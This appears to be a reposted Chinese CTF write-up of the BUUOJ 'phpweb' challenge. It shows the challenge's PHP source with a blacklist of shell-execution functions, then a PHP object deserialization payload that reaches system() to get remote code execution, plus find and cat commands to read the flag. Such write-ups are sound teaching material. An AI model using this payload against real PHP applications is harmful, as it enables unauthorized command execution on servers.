• [BUUOJ记录] [网鼎杯 2020 朱雀组] phpweb


    进入题目在源代码看到两个传参:

    一个是函数名,一个是参数,猜测后端应该是一个call_user_func(),post请求:func=file_get_contents&p=index.php
    得到index.php的源码:

        <?php
        $disable_fun = array("exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch","escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk",  "array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce","array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents");
        function gettime($func, $p) {
            $result = call_user_func($func, $p);
            $a= gettype($result);
            if ($a == "string") {
                return $result;
            } else {return "";}
        }
        class Test {
            var $p = "Y-m-d h:i:s a";
            var $func = "date";
            function __destruct() {
                if ($this->func != "") {
                    echo gettime($this->func, $this->p);
                }
            }
        }
        $func = $_REQUEST["func"];
        $p = $_REQUEST["p"];
    
        if ($func != null) {
            $func = strtolower($func);
            if (!in_array($func,$disable_fun)) {
                echo gettime($func, $p);
            }else {
                die("Hacker...");
            }
        }
        ?>
    

    可以看到call_user_func()gettime()方法中,但是如果直接通过传参来执行语句会经过黑名单过滤,黑名单过滤了很多命令执行和文件读取函数。
    再认真看代码发现有一个Test类,同样也可以调用gettime()方法,而且不经过黑名单检测,所以我们可以利用反序列化来触发__destruct中的gettime()方法从而实现RCE。
    构造:

    <?php
        class Test {
            var $p = "ls /";
            var $func = "system";
        }
        $o = new Test;
        echo urlencode(serialize($o));
    //O%3A4%3A%22Test%22%3A2%3A%7Bs%3A1%3A%22p%22%3Bs%3A4%3A%22ls+%2F%22%3Bs%3A4%3A%22func%22%3Bs%3A6%3A%22system%22%3B%7D
    

    然后触发反序列化:index.php?func=unserialize&p=O%3A4%3A%22Test%22%3A2%3A%7Bs%3A1%3A%22p%22%3Bs%3A4%3A%22ls+%2F%22%3Bs%3A4%3A%22func%22%3Bs%3A6%3A%22system%22%3B%7D

    成功RCE,然后寻找一下flag文件:find / -name 'flag*'
    /tmp下找到flag文件:

    再执行:cat /tmp/flagoefiu4r93即可获得flag:

    [ * ]博客中转载的文章均已标明出处与来源,若无意产生侵权行为深表歉意,需要删除或更改请联系博主: 2245998470[at]qq.com

  • 相关阅读:
    oracle case when的使用方法
    php数字,字符,对象判断函数
    php is_dir 判断是否为目录
    mysql服务器查询慢原因分析与解决方法
    php生成html文件的多种方法介绍
    php mysql mysqli区别比较详解
    C++定时器用法(已经封装成类)
    获取远程计算机MAC
    批量获取远程计算机MAC
    c++封装日志类
  • 原文地址:https://www.cnblogs.com/yesec/p/15432988.html
Copyright © 2020-2023  润新知